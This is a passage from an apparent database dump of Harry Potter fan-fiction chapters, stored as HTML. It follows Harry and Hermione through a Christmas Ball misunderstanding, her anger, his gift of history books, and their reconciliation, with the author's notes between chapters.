he had heard correctly.</p>\n\n<p>&#8220;How do you know if you are in love or not?&#8221;</p>\n\n<p>&#8220;Oh!&#8221; exclaimed Harry, very taken aback by the question. &#8220;Well um&#8230;&#8221; he seemed to be looking for a name.</p>\n\n<p>&#8220;Daniel. But you can call me Dan.&#8221;</p>\n\n<p>&#8220;Well Dan,&#8221; said Harry. &#8220;That&#8217;s a very difficult question actually, but I&#8217;ll answer it as best as I can.&#8221;</p>\n\n<p>Harry cleared his throat and tried to clear his mind.</p>\n\n<p>&#8220;Actually, you can&#8217;t really say if you&#8217;re in love or not. It&#8217;ll just come to you one day. You&#8217;ll meet the right person and it&#8217;ll hit you like&#8230; um&#8230; like&#8230;&#8221;</p>\n\n<p>&#8220;&#8230;lightning?&#8221;</p>\n\n<p>&#8220;Yes! And you&#8217;ll just&#8230; know.&#8221;</p>\n\n<p>&#8220;I see,&#8221; replied Dan nervously. </p>\n\n<p>&#8220;Is something going on?&#8221; asked Harry, though he already knew what the answer was.</p>\n\n<p>Dan nodded.</p>\n\n<p>&#8220;Is there a girl that you think your in love with?&#8221; Harry sounded almost disguised with himself. He couldn&#8217;t believe he was having this conversation. It sounded like he was on some hotline for love advice.</p>\n\n<p>&#8220;There is,&#8221; explained Dan. &#8220;We&#8217;ve been friends since first years just me and her. Then suddenly I looked at her one day, earlier this year to be exact, and I&#8230; I don&#8217;t know&#8230; I&#8230; just wanted to kiss her&#8230;&#8221;</p>\n\n<p>Harry was surprised that Dan was so open with him, like being Head Boy and listening to love problems <i>was</i> his job in the first place.</p>\n\n<p>&#8220;I know what you mean,&#8221; answered Harry. &#8220;In fact, I&#8217;m not too far from you Dan. There&#8217;s a girl in my life too that I know I&#8217;m in love with.&#8221;</p>\n\n<p>&#8220;You mean Head Girl, Hermione Granger?&#8221;</p>\n\n<p>Harry was amazed at the sureness of Dan&#8217;s answer. Like he or anyone would be stupid if you didn&#8217;t know that &#8220;Harry Potter was in love with Hermione Granger&#8221;.</p>\n\n<p>&#8220;The point is Dan,&#8221; continued Harry, ignoring Dan, &#8220;you just need to feel it out. One day you&#8217;re going to feel &#8220;it&#8221;. I don&#8217;t know what &#8220;it&#8221; is, but you&#8217;re going to feel it.&#8221;</p>\n\n<p>Dan nodded in confirmation.</p>\n\n<p>&#8220;By the way,&#8221; added Harry, &#8220; I think this is your book.&#8221; He handed over <u>Secrets of Potions: Made Easy.</u></p><u>\n\n</u>\n\n<p>&#8220;I don&#8217;t need it,&#8221; said Dan. &#8220;You keep it. You may find something you need in there.&#8221;</p>\n\n<p>&#8220;Yeah, like how to cure a heartbreak or something,&#8221; joked Harry. Dan laughed with him then stood up to leave.</p>\n\n<p>Harry continued. &#8220;Have fun at the Christmas Ball.&#8221;</p>\n\n<p>&#8220;Oh&#8230; I&#8217;m not going,&#8221; said Dan in about the same way Harry said it when Hermione asked him something along those lines.</p>\n\n<p>&#8220;I couldn&#8217;t get a date,&#8221; Dan proceeded. &#8220;Besides, she already got a date.&#8221;</p>\n\n<p>&#8220;Let me guess,&#8221; said Harry, feeling sorry for him and himself all over again, &#8220;you didn&#8217;t ask in time?&#8221;</p>\n\n<p>Dan nodded sadly.</p>\n\n<p>&#8220;It&#8217;s ok,&#8221; comforted Harry. &#8220;It&#8217;s too early to tell if she likes him yet.</p>\n\n<p>&#8220;I hope you&#8217;re right,&#8221; sighed Dan, just as he opened Harry&#8217;s door. &#8220;And Harry&#8230;&#8221; Harry looked at him again. &#8220;Thanks&#8230;&#8221;</p>\n\n<p>&#8220;You&#8217;re welcome. Come anytime you need help ok?&#8221;</p>\n\n<p>&#8220;Ok,&#8221; answered Dan closing the door softly behind him.</p>\n\n<p>&#8220;Poor guy,&#8221; said Harry to himself. &#8220;He&#8217;s almost as pathetic as me&#8230;&#8221;</p>\n\n<p></p>\n\n<b><p>A/N Sorry for the HUGE delay in the update. I&#8217;ve been WAY TOO busy with work and college that I almost forgot about this fic. Not to worry, I may have forgotten, but I&#8217;m not giving up! BTW, anyone see the PoA Trailer yet?</p>\n\n</b></font>\n\n '),
	(169, 14, ' <b><p>Chapter 14 - Christmas Morning</p>\n\n</b><font size="2">\n\n<p></p>\n\n<p>Harry bolted his head straight up after hearing a constant pounding on his door. Last thing he remembered was talking to Dan and looking through <u>Secrets of Potions: Made Easy</u> for a moment. He had gotten so out of it that he must&#8217;ve fallen asleep, straight through until morning. It was Christmas. He could still hear the faint music that came from the Great Hall where the Christmas Ball was but lost the sensation with the knocks at his door. Harry rubbed his eyes, straightened his glasses, and lazily walked over to the door to open it.</p>\n\n<p>Hermione&#8217;s face matched the color of her dress the night before and she looked to be very tired and very irritated about something. Harry didn&#8217;t notice. After seeing her, he walked back to his chair and thumped his head back on his desk.</p>\n\n<p>&#8220;Not going to invite me in Harry?&#8221; asked Hermione sourly. Harry picked his head slowly off of his desk.</p>\n\n<p>&#8220;Since when do I have to <i>tell </i>you that you can come in?&#8221; said Harry, not noticing Hermione&#8217;s tone.</p>\n\n<p>&#8220;I dunno,&#8221; she shrugged. &#8220;Maybe because I just have to keep listening to you don&#8217;t I?&#8221; She walked in the room and closed the door, a bit harder than Harry was used to. </p>\n\n<p>Harry didn&#8217;t understand what she was talking about and picked up Dan&#8217;s book once again. &#8220;It&#8217;s so early Hermione.&#8221; </p>\n\n<p>The look on her face told him that somehow that was a wrong statement to say. Harry quickly tried to change the subject. </p>\n\n<p>&#8220;How was the Ball?&#8221; he yawned. At first, Hermione didn&#8217;t answer him. She wore the same expression as when Harry had opened the door. Harry, finally haven woken up almost to the extent, noticed this for the first time. Her lack of an answer told him something was definitely wrong.</p>\n\n<p>&#8220;The ball was fine,&#8221; said Hermione coolly. &#8220;But you don&#8217;t care if it was fun to me do you?&#8221;</p>\n\n<p>Harry narrowed his eyes at her. He really had no idea where this was going. &#8220;What are you talking about?&#8221; </p>\n\n<p>&#8220;Don&#8217;t play stupid with me Harry Potter!&#8221; spat Hermione. &#8220;I know what you&#8217;ve been up to.&#8221;</p>\n\n<p>Harry froze. Had she found out? Had she found out the one secret that he had been giving hints to for years? He had prayed that one day Hermione would figure it out, being the clever witch she was but he had never expected Hermione to be so upset at it. Deep down he knew there was some danger in her being upset, but not like this! He was beginning to feel frightened&#8230;</p>\n\n<p>&#8220;Hermione&#8230;&#8221; started Harry, &#8220;I didn&#8217;t mean for this to happen&#8230;&#8221;</p>\n\n<p>&#8220;What&#8217;s that supposed to mean!?&#8221; shouted Hermione. &#8220;You &#8220;accidentally&#8221; said those things?&#8221;</p>\n\n<p>&#8220;No, I&#8230;&#8221; </p>\n\n<p> Harry stopped. What <i>was </i>Hermione talking about? He had thought that she found out he had been crushing on her for years but by her saying that he accidentally said something, whatever that may have been, didn&#8217;t fit at all. &#8220;Wait a minute. <i>What </i>is it exactly that I said?&#8221;</p>\n\n<p>&#8220;You being ignorant on purpose?&#8221; asked Hermione in a maddeningly voice. </p>\n\n<p>Harry blinked at her with an expression he hadn&#8217;t given her since she was responsible for his Firebolt broomstick being taken away in third year.</p>\n\n<p>&#8220;No,&#8221; spat Harry. &#8220;And I don&#8217;t know what the heck you&#8217;re talking about Hermione.&#8221;</p>\n\n<p>&#8220;You said nasty things Harry!&#8221; she preached. &#8220;Ernie and I were the talk if the whole Ball! &#8216;See! Look who Hermione Granger is with now!&#8217; and &#8216;Harry hates him so much because he stole Hermione away from him&#8217; and &#8216;Ernie is a no-good, rotten, pig-stealing freak and that Hermione better do the right thing and dump his sorry&#8230;&#8217;&#8221;</p>\n\n<p>&#8220;What the hell are you talking about!&#8221; shouted Harry at the top of his lungs.</p>\n\n<p>&#8220;People at the Ball said you&#8230;!&#8221;</p>\n\n<p>&#8220;I never said any of those things!&#8221; interrupted Harry, shouting so loudly that Hermione flinched in the middle of her sentence, despite how upset she was. &#8220;I would NEVER say those things! And you should know that! <i>You </i>especially!&#8221;</p>\n\n<p>&#8220;<i>EVERYONE </i>was talking about it Harry!&#8221; retorted Hermione. &#8220;How that you and I went out as friends couple of times to Hogsmeade and how you got jealous about Ernie asking me to the Ball before you could&#8230;&#8221;</p>\n\n<p>&#8220;I WASN&#8217;T JEALOUS OF ERNIE!&#8221; roared Harry. Though he did feel a little guilty about saying that because it <i>was</i> true.</p>\n\n<p>&#8220;<i>EVERYONE </i>was talking about it Harry!&#8221; said Hermione.</p>\n\n<p>&#8220;You said that already!&#8221; slapped Harry. </p>\n\n<p>&#8220;It&#8217;s you against the school Harry!&#8221;</p>\n\n<p>&#8220;SO WHAT!?&#8221; screamed Harry. &#8220;You&#8217;re going to side with the majority of the school over 7 years of friendship with me? I don&#8217;t believe you! That&#8217;s very un-Hermione like!&#8221;</p>\n\n<p>&#8220;Then what is Harry!? Huh!? Tell me!?&#8221;</p>\n\n<p>&#8220;I just don&#8217;t understand <i>why </i>you&#8217;re so upset!&#8221;</p>\n\n<p>&#8220;I just don&#8217;t understand <i>why </i>you said those things!&#8221;</p>\n\n<p>&#8220;THAT&#8217;S the thing! I <i>DIDN&#8217;T </i>say those things!&#8221;</p>\n\n<p>There was a long and terrible silence between the both of them. Hermione, still red in the face, had vary labored breathing. Harry on the other hand was scorching with anger.</p>\n\n<p>&#8220;You know what Harry,&#8221; explained Hermione her tone a little softer but with the same maddening vibe. &#8220;I finally find someone I like, you don&#8217;t like him, and what do you do? You call him names because of it. <i>That&#8217;s </i>very un-Harry like to me.&#8221;</p>\n\n<p>She turned on her heel and marched to the door, pausing for a moment.</p>\n\n<p>&#8220;Oh yeah,&#8221; said Hermione coolly he back still to him, &#8220;Merry Christmas to you.&#8221; With that she slammed the door behind her.</p>\n\n<p>Harry sat there for a moment. Half of him frustrated and half of him confused. What the hell was going on at the Ball?</p>\n\n<p>&#8220;Oh yeah,&#8221; Harry retaliated, &#8220;I&#8217;ll give you a Merry Christmas.&#8221; He walked over to his closet to pull out and item. He knew exactly what to do with them. All four of them&#8230;</p>\n\n<b><p>A/N: Well that&#8217;s all I have for now. Hopefully I&#8217;ll get the next chapter up soon. BTW did this chapter make sense? I mean you know how it can be when you have an idea in your head and you think you get it all out, but for some reason, I feel that I may have forgotten something or something is still confusing&#8230;</p></b></font>\n\n '),
	(169, 15, ' <b><font size="2"><p>Chapter 15 - Almost Christmas Morning Folly</p>\n\n<p></p>\n\n<p></p>\n\n</font></b><p><font size="2">Harry, still wearing his Hogwart&#8217;s uniform from the night before with a heavier and warmer robe, stormed out of the Castle carrying two heavy bags by his side. The morning was light and the atmosphere was that of a normal Christmas; the sun was just peeking over the horizon and the snow from the night before was still fresh. It was hard to walk through the snow, especially carrying two huge bags with you.</font></p><font size="2">\n\n<p>***</p>\n\n<p>Harry was in a sweat by the time he had reached Lynda&#8217;s Wizard Anythings, however, there was something he wasn&#8217;t really expecting: the store was open. He originally planned to just dump the bags at the front door and leave. In fact, that&#8217;s just what he was about to do regardless the shop being open or closed. Still, he had not seen Ashley, the worker of the store in quite sometime. He decided to say hello and to drop the bags off as well, plus he would give Ashley an explanation as to why she would have found two bags abandoned at her door. </p>\n\n<b>\n\n</b><p>&#8220;Hey Ashley,&#8221; called Harry as he entered the shop, the door making the familiar dinging sound. It wasn&#8217;t hard to spot her. She was at one corner of the shop, organizing presents and putting last minute decorations on a Christmas Tree. The corner was probably the cleanest part of the store. Shocked to hear her name, she quickly looked in the direction of Harry&#8217;s voice.</p>\n\n<p>&#8220;Hi Harry!&#8221; beamed Ashley after seeing who it was. &#8220;What on Earth are you doing here?&#8221;</p>\n\n<p>&#8220;I should be asking the same thing,&#8221; said Harry, careful not to step on anything that was on the floor as he made his way to the cashier desk. </p>\n\n<p>&#8220;You know, it a good thing that you came Harry. There&#8217;s something that you might like to hear&#8230;&#8221; Ashley had just joined him when he put the two bags on the table with a loud thump.</p>\n\n<p>&#8220;What&#8217;s that?&#8221; she asked, cutting her sentence short and looking very confused. &#8220;You&#8217;re not planning on trading something again for a last minute Christmas present are you?&#8221; she said in a joking way.</p>\n\n<p>&#8220;Not this time,&#8221; sighed Harry. &#8220;I&#8217;ve come to make a return.&#8221;</p>\n\n<p>&#8220;A return?&#8221; she asked, perplexed. &#8220;What and why are you returning something?&#8221;</p>\n\n<p>Harry started to tell her about the argument he and Hermione had the night before.</p>\n\n<p>&#8220;I&#8217;m very sorry about that Harry,&#8221; sympathized Ashley, &#8220;but what does this bag have to do with anything?&#8221;</p>\n\n<p>&#8220;I&#8217;ll give you one guess as to what&#8217;s in this bag,&#8221; said Harry firmly. &#8220;And it&#8217;s not the red dress.&#8221;</p>\n\n<p>Ashley looked to be in deep though, but after a few seconds, a look of realization appeared on her face. She looked to be astonished and upset at the same time.</p>\n\n<p>&#8220;You are not returning those books Harry! They&#8217;re for Hermione!&#8221;</p>\n\n<p>&#8220;They were for Hermione,&#8221; corrected Harry. &#8220;Think of it as me giving it back to you. I don&#8217;t need you to give me my money back. Just take them. After that little attitude from her, she doesn&#8217;t deserve them!&#8221;</p>\n\n<p>Ashley could only stare at Harry. She couldn&#8217;t believe that that one incident could make Harry so upset that he was resort to rid of something that he really wanted to give away as a gift. Still, she knew something that Harry did.</p>\n\n<p>&#8220;Harry I need to tell you something,&#8221; she said quietly, as if she were to tell him something that would make him even more upset. &#8220;Someone came in here last night. Well, two people actually.&#8221;</p>\n\n<p>&#8220;What does that have to do with anything?&#8221; spat Harry, keen on just leaving the bags and walking out no matter what Ashley thought.</p>\n\n<p>&#8220;Since the Christmas Ball went on last night,&#8221; explained Ashley, &#8220;Some stores were required to stay open later than usual, just in case couples form the Ball wanted to hang out. And you&#8217;ll never guess who ended up in here&#8230;&#8221;</p>\n\n<p>&#8220;I don&#8217;t care&#8230;&#8221;</p>\n\n<p>&#8220;&#8230;a girl in a elegant red dress and a boy who I assumed was her date.&#8221; This had finally caught Harry&#8217;s attention. The girl and boy that had walked in was Hermione and Ernie.</p>\n\n<p>&#8220;But how do you know that that was Herm&#8230;?&#8221;</p>\n\n<p>&#8220;No one else has that dress within miles of here for one thing,&#8221; continued Ashley. &#8220;You were the one that bought that dress for her and she walks in with it on. I realized that it was Hermione when I saw the dress on her. &#8221;</p>\n\n<p>&#8220;So what does&#8230;?&#8221;</p>\n\n<p>&#8220;I&#8217;m going to tell you something Harry, and I don&#8217;t want you to interrupt me until I am done ok?&#8221;</p>\n\n<p>She had his undivided attention.</p>\n\n<p>&#8220;When they both walked in here, I just though they were just some couple from the Christmas Ball, however, I noticed that red dress she had on. I remembered selling&#8230; sorry, trading&#8230; you a red dress some time ago for a girl that you liked even though you were not attending with her. Just to be sure, I made small talk. I asked them how they were doing, where they came from,&#8230; and their names. The girl introduced herself as, Hermione! That&#8217;s when I knew that that girl had to be the one you liked! She wandered around the store while her date stayed near the register. A little while later, another boy walked in and up to her date, probably some friend of his but it looked more of a messenger thing. They talked about something, though I wasn&#8217;t listening because I&#8217;m not the one to eavesdrop, but I couldn&#8217;t help but hear one of them say something like, &#8220;Harry&#8217;s jealous of you and Harry thinks you stole Hermione from him and Harry thinks this and&#8221; blah blah blah. I&#8217;m guessing either it was planned out that way, or maybe it was just a coincidence, but that&#8217;s how the whole thing about you talking badly about him started. Hermione&#8217;s date told her, of course, and she sort of went into a rage. She politely said thank you and left. I was worried that something were to happen to you. As I can tell, by you coming in her with the intention of returning Hermione&#8217;s gifts, tat something did happen.&#8221;</p>\n\n<p>Harry didn&#8217;t say anything at first. What would he have to say? For one thing, it did sound like some sort of plan, but then again, it sounded to be all one big misunderstanding. Harry was a bit disappointed that Ernie didn&#8217;t start any of this, otherwise it would have been that much more fun getting Hermione back. One thing was for sure: he had to apologize, to Hermione <i>and</i> Ernie.</p>\n\n<p>&#8220;This was my fault,&#8221; Harry said apathetically. &#8220;This was all one big misunderstanding&#8230;&#8221;</p>\n\n<p>&#8220;As for returning your items Mr. Potter,&#8221; Ashley added in a businesslike way. &#8220;I&#8217;m afraid that due to my no return policy, I&#8217;m unable to make the transaction, regardless you want your money back or not.&#8221;</p>\n\n<p>Harry, as if almost mechanically, reached into his robes and pulled out the manila envelope Colin had given him last night. He took out the picture of Hermione in front of Ashley and looked at it, as if how could he ever have been mad at such an angel. Ashley seemed to take great interest in the picture more than Harry did.</p>\n\n<p>&#8220;Oh that&#8217;s a beautiful picture!&#8221; she exclaimed. She snatched it form his hand and made her way to the back of the store. &#8220;Wait here.&#8221;</p>\n\n<p>Harry, taken aback at the picture snatching and looking very anxious, looked at the books inside of the bag; another reminder of Hermione. &#8220;Hermione is going to love these&#8230;&#8221; he said, more to himself than anything.</p>\n\n<p>&#8220;Here we go,&#8221; jubilated Ashley, coming back from the employees only section. She handed back the picture of Hermione to Harry, only there was a slight alteration to it. </p>\n\n<p>He held a beautiful frame made of oak. It seemed to shine with the light outside and you could still smell the freshness of the oak, as if the frame was made just seconds ago. It surrounded the picture of Hermione, making the picture stand out and look more beautiful that ever. </p>\n\n<p>&#8220;That frame guarantees lifetime protection of whatever picture is in it,&#8221; explained Ashley.</p>\n\n<p>&#8220;But I have no money&#8230;&#8221;</p>\n\n<p>&#8220;No charge,&#8221; smiled Ashley. &#8220;My Christmas gift to you.&#8221;</p>\n\n<p>&#8220;Ashley I&#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t argue Harry,&#8221; she said seriously, though her smile was still evident. &#8220;I saw how happy you were to receive the gift, so why don&#8217;t you give a gift, four of them to be exact, and see just how happy one can get?&#8221;</p>\n\n<p>Harry blinked at her. &#8220;Thanks.&#8221;</p>\n\n<b><p></p></b></font>\n\n '),
	(169, 16, ' <b><p>A/N: Really really sorry about the last update&#8230; those &#8220;boxes&#8221; weren&#8217;t supposed to be a fancy script, but I guess the site doesn&#8217;t support it&#8230; oh well&#8230; sorry no new chapter yet&#8230;</p>\n\n<p></p>\n\n<p>Chapter 16 - Christmas Spirit</p>\n\n</b><font size="2">\n\n<p></p>\n\n<p>It was still very early when Harry returned to the Hogwarts Castle; seemed like no student was up considering the usual exciting Christmas morning. He was dead tired by the time he had gotten back that as soon as he got to his Head Boy room, he dropped the bags at the door and plopped face first on his bed, trying to take a breather and to decide what he was going to do next. </p>\n\n<p>One thing was for sure: he owed Ernie an apology. The rumor came (or whatever you wanted to call it) from someone Harry did not know. Because of this, he really didn&#8217;t care what other people thought of him, but he <i>did </i>car about what Hermione thought of him. </p>\n\n<p>He felt a light bump on his bed, which meant that someone or something had just plopped on his bed next to him. He sat up on his bed.</p>\n\n<p>&#8220;Hedwig!&#8221; smiled Harry, almost giving her a hug. He had to restrain himself as he saw that she still had some bandages on her from the eagle attack. &#8220;You&#8217;re ok!&#8221;</p>\n\n<p>&#8220;Hi Harry,&#8221; hooted Hedwig. &#8220;Yes I&#8217;m fine. I was surprised Madam Pomfrey let me off so early. Knowing her I would&#8217;ve been in there for ages! Probably because Christmas is here and she wanted me to enjoy the holidays&#8230;&#8221;</p>\n\n<p>&#8220;Yeah&#8230;&#8221; replied Harry half-heartedly.</p>\n\n<p>&#8220;What&#8217;s wrong deary?&#8221; asked Hedwig, walking over the him and extending a wing on his arm. Harry couldn&#8216;t help but smile. Any girl who saw a white owl walk over to a human and put her wing on his arm would make any girl squeal. Harry shook his head; he had the urge to play a hard hitting Quidditch Match all of a sudden. </p>\n\n<p>He told her about everything. From the time he left her in the hospital, to the Christmas Ball, to the argument he and Hermione had, to his trip to Ashley&#8217;s shop, and back to the Castle again.</p>\n\n<p>&#8220;So what are you going to do then?&#8221; said Hedwig, perching on top of Harry&#8217;s arm on one foot.</p>\n\n<p>&#8220;I&#8217;m going to deliver all my presents to everyone,&#8221; yawned Harry. Hedwig frowned at him; Harry&#8217;s answer had not related at all to her question, which meant that something was <i>really</i> bothering him. &#8220;You going to stay a while? I need to get this gifts to everyone before they wake up.&#8221; Not waiting for a reply, he grabbed the first set of gifts from his closet&#8230;</p>\n\n<p>***</p>\n\n<p>Time seemed to go by more slowly as Harry played Santa. He walked aimlessly back and forth from his Head Boy room closet to students&#8217; dorms quite a few times to deliver presents. Some friends were awake and he left them with the gifts. Others were asleep and he just quietly left the gifts by their bedside. After walking who knows how many miles up and down the halls in the castle, Harry inevitably had to make one final stop&#8230;</p>\n\n<p>After knocking a few times, there was no answer at Hermione&#8217;s door. Why wasn&#8217;t she answering? She was yelling at me not too long ago. Why won&#8217;t she answer? Harry tried again.</p>\n\n<p>&#8220;Hermione,&#8221; he called apathetically. &#8220;It&#8217;s me. Can you open up please?&#8221; There was no answer. &#8220;I know you&#8217;re mad at me, but can you be mad at me at some other time besides Christmas?&#8221; There was still no answer.</p>\n\n<p>Harry sighed and tried turning the door handle; surprisingly, he found it unlocked. He crept the door open with a rusty squeak and peeked his head in. </p>\n\n<p>Hermione was lying on her bed, apparently fast asleep. Harry walked in nervously and quietly closed the door behind him. He couldn&#8217;t help but stare at her. She was lying on her back and she was covered from her stomach down with her blanket. One arm lay hidden underneath the covers somewhere and the other arm lay flat on her tummy. Her hair cascaded over the pillow and you could see her chest heave up and down with every gentle breath she took. Harry tiptoed to her desk and placed the two bags on top. They made a small rustling sound and Harry shot his head toward Hermione; she adjusted a bit in her bed but she still lay asleep.</p>\n\n<p>Harry remembered what Ashley had told him before he left: &#8220;You don&#8217;t have to say the books are from you&#8230;&#8221; He thought for a moment and decided to at least make it known that the books were meant for her. What would she think if she found two bags that magically appeared on her desk? </p>\n\n<p>Harry stared at Hermione&#8217;s desk. Predictably, it was nice and neat. The workspace was clear and everything was in reach. Fresh ink bottles were at hand followed by a Quill holder that looked a lot like those things that Muggles put pens in. Harry cautiously opened a few drawers to find old scratch parchment. After finding one successfully, he put it flat on the desk and &#8220;borrowed&#8221; a quill and some ink. Just as he settled and was ready to write something, he realized that he had searched so frantically, that he didn&#8217;t notice the rustling he was apparently making. So much noise in fact that a voice came form his right.</p>\n\n<p>&#8220;Harry?&#8221; said Hermione lazily, stretching and looking at him with one eye open. &#8220;What are you doing here?&#8221;</p>\n\n<p>Harry looked at her, disappointed with himself that he couldn&#8217;t have been quieter, no emotion in his face, though sadness could have been there, to acknowledge that he heard her, but didn&#8217;t say anything. He stared back at the parchment in front of him, thinking about what he was going to say. He couldn&#8217;t hide that the books were from him anymore as Ashley had suggested. Hermione sat up in her bed.</p>\n\n<p>&#8220;Harry,&#8221; she said again, her tone getting to that when she was just yelling at him earlier before. &#8220;If you&#8217;re not going to tell me what you&#8217;re doing in <i>my</i> room at <i>this </i>hour in the morning, I&#8217;m afraid I&#8217;m going to ask you to leave.&#8221;</p>\n\n<p>Harry looked at her one more time, only the look he gave her this time was sure to say that he was sorry in one way or another. Before Hermione could say anymore, he sighed, turned back to the parchment, dabbed the quill in the ink bottle, and wrote on the parchment:</p>\n\n</font><b><p>Merry Christmas, Hermione</p>\n\n<p> Harry</p>\n\n</b><font face="CASMIRA" size="2">\n\n</font><font size="2"><p>Satisfied with what he wrote, he dried the ink on the quill, put it back in its holder, closed the ink bottle shut and put it back in its place, and moved the parchment right next to the two bags. He walked to the door in a way you could tell that he was really tired, turned the door knob, opened it slowly, stepped through the doorway and closed the door softly behind him, all without looking at Hermione once, though he could feel her eyes on him the whole time. Whether it was resentment he could not tell, but that didn&#8217;t matter.</p>\n\n</font><font face="CASMIRA" size="2">\n\n</font><font size="2"><p>Harry walked back to his room feeling very tired, his feet dragging under him. When he got there, Hedwig was asleep on his desk, which made him want to sleep even more that he didn&#8217;t bother to change into sleeping clothes. He got the newly framed picture Ashley had given him and placed it on his nightstand right next to his desk. He climbed into bed and angled it so that you could only see the picture if you were laying down in the bed. He smiled, took of his glasses, and placed it next to the picture. He pulled up the covers over his shoulders and closed his eyes. He remembered something else Ashley told him when she suggested he put the frame at that specific spot, &#8220;Last person you see when you sleep, first person you see when you wake up&#8221;&#8230;</p>\n\n<p>Harry drifted very quickly into a deep sleep.</p></font>\n\n '),
	(169, 17, ' <b><font size="2"><p>Chapter 17 - Two Brown Bags</p>\n\n</font></b><font size="2">\n\n<p>Hermione, still sitting up in here bed and half covered in her pajamas, looked intently at the two bags on her desk. They were pretty ordinary looking, like something a cashier would put into after you bought something from a thrift store.</p>\n\n<p>If he thinks he can <i>buy </i>my forgiveness, she said scornfully, he has another think coming. Though she resented him going through means of bribery, she was still curious about what Harry had left her. She pulled of her covers and walked over to her desk and stood before the two brown bags. Between them was a note, clearly written by none other than Harry.</p>\n\n<p>&#8220;&#8216;Merry Christmas, Hermione&#8217;,&#8221; she read, picking it up from the desk. It seemed like something Harry would do; she could almost hear him saying it right next to her. Hermione&#8217;s bad mood seemed to subside a little&#8230; </p>\n\n<p>She put the note down on the side and pulled out the wrapper covering her gift in the bag&#8230;</p>\n\n<p>*** </p>\n\n<p>Though Harry lay in his bed fast asleep and motionless, his mind tinkered subconsciously, as if it were a person hard at work.</p>\n\n<p>I can&#8217;t believe this is it, he thought to himself, his breathe labored and slow. I can&#8217;t believe that its finally over.</p>\n\n<p>He had spent the last two years of his life, devoting it entirely to get Hermione&#8217;s love and affection; to at least get her attention! It was hard work, and quite frankly, if he had the chance, he would have done it again. But still, he couldn&#8217;t help but feel very sorry for himself.</p>\n\n<p>Hermione was a great and intelligent witch. She could solve mysteries by herself, and even do spells that she was to young to even hear of. So why hadn&#8217;t she noticed Harry&#8217;s constant &#8220;more than friends&#8221; signals that he was giving her? Was it too much? Too little? Something definitely was wrong; Hermione was way to smart to not be getting the picture. Or was she as thick as she was clever? </p>\n\n<p>All those little things that came along with Harry&#8217;s heart seemed to go to waste. The gifts, the complements, the flowers, the dates in the end seemed to make no difference whatsoever between Harry and Hermione.</p>\n\n<p>Why was it then that Hermione seemed to not be getting the picture? Many thoughts flooded his head from her just being as thick as Ron, to liking someone else, to strictly because she did not see him in that way. He could feel his heart tearing away bit by bit. This was it. It was settled. Hermione simply did not like him the way he liked her. She really seemed to show interest in Ernie MacMillian, so probably that&#8217;s where her heart stood firmly; there was no reason to be continuing his little crusade to get Hermione to notice him. Not only would it make him look stupid and just keep hurting himself, Hermione must&#8217;ve felt very uncomfortable, so uncomfortable that she could not even tell him that she didn&#8217;t like him in that way. Harry Potter was giving up&#8230;</p>\n\n<p>It&#8216;s over then, Harry told himself in his sleep. It was worth just loving Hermione, romantic or not&#8230;</p>\n\n<p>Harry remembered reading something in <u>Secrets of Potions: Made Easy.</u> It was a section about Love Potions. There was a disclaimer at the tope that said something of the lines of, &#8216;before resorting to use <i>any </i>type of Love Potion, make sure that you are <i>certain </i>you want to use it, because there is no turning back. We are not responsible for any damages, injuries, and/or deaths caused by the misuse of Love Potions.&#8217; Harry also remembered a little authors note at the bottom of the disclaimer. He could remember it vividly:</p>\n\n<p>&#8216;Would you rather have someone love you for who you really are? Or have someone love you because they are under some sort of spell? If the one you seek love from is not giving love in return, just relax, and let the love grow in his or her heart. If it does, more the better for you. If it doesn&#8217;t, I&#8217;m very sorry, however, be grateful it grew in yours! Love is meant to develop in the heart, not to have the heart tricked in to loving.&#8221;</p>\n\n<p>Harry unknowingly smiled slightly, yet sadly, into his pillow, a silent single tear rolling down the side of his face.</p>\n\n<p>***</p>\n\n<p>Hermione could not believe her eyes. She stared intently inside one of the brown bags and found herself looking at two very thick, very large books. It was labeled <i>Hogwart&#8217;s: A Revised History Vol: I </i>on one side of it. It couldn&#8217;t be&#8230;</p>\n\n<u>\n\n</u><p>She reached in with a trembling hand and pulled out one of the enormous books in the bag. It was very heavy and bounded in a fresh smell of brand new, dark blue leather. On the cover etched <i>Hogwart&#8217;s: A Revised History Vol: I </i>in fancy gold calligraphy. Hermione had to close her mouth a couple of times. She ran her fingers across the front of the book, tracing the letters with her fingers.</p>\n\n<p>At first, she couldn&#8217;t believe or think of what to say. This was unbelievable! And where on earth did Harry get something like this? It wasn&#8217;t to be release until months later&#8230;</p>\n\n<p>She reached back in the bag and took out volume two of the series, peered into the other brown back and sure enough, there were volumes three and four. She stacked books two, three, and four on top of each other and sat back down on the bed, holding volume 1 in her arms, hugging it to her chest.</p>\n\n<p>What was going on? They were both yelling and screaming at each other like hated enemies just the day before. Why was it that it hurt so much to yell at him? It was easy doing it with Ron, but every time she and Harry fought, it felt&#8230; disastrous&#8230; wrong&#8230; <i>painful. </i>She remembered back in fifth year when Harry was particularly moody and seemed to take out his anger on her. She could understand that; he had every right to be upset. But upset for&#8230; she couldn&#8217;t even remember what they had been yelling to each other about. She shut her eyes, and a few silent tears flowed freely down her cheek.</p>\n\n<p>Harry Potter, the boy who lived, youngest Seeker in a century. That&#8217;s what everyone saw him as. Hermione could admit that&#8217;s how she had saw him too at one point, but after having been saved by the troll and getting to know him, there was Harry&#8230; just Harry. That&#8217;s how she had always saw him. And even though through thick and then, and times where she <i>knew </i>she irritated him, and even though she had a row with him as well, Harry still found it in his heart to show that he still cared, even though she wouldn&#8217;t listen; There were four very thick and very heavy objects in front of her to prove it.</p>\n\n<p>Hermione could feel her lips twitch, curving slightly at the corners of her mouth and for the first time in a very long time, she was smiling. She dashed out of her room with <i>Hogwart&#8217;s: A Revised History Vol: I </i>tucked under her arm and headed straight to Harry&#8217;s room, keen to go on and apologize and to thank him herself for the wonderful gift.</p>\n\n<p></p>\n\n<b><p>A/N: I am dreadfully sorry for the serious lack of updates. School and college is a real pain, especially if you didn&#8217;t do as well as you thought you were going to do. But I hope you enjoy this one, though I&#8217;m sure that it could&#8217;ve been much better somehow, I just really couldn&#8217;t put it in writing.</p>\n\n<p>Make sure you guys watch PoA and support H/Hr all the way! Love you all!!!</p></b></font>\n\n '),
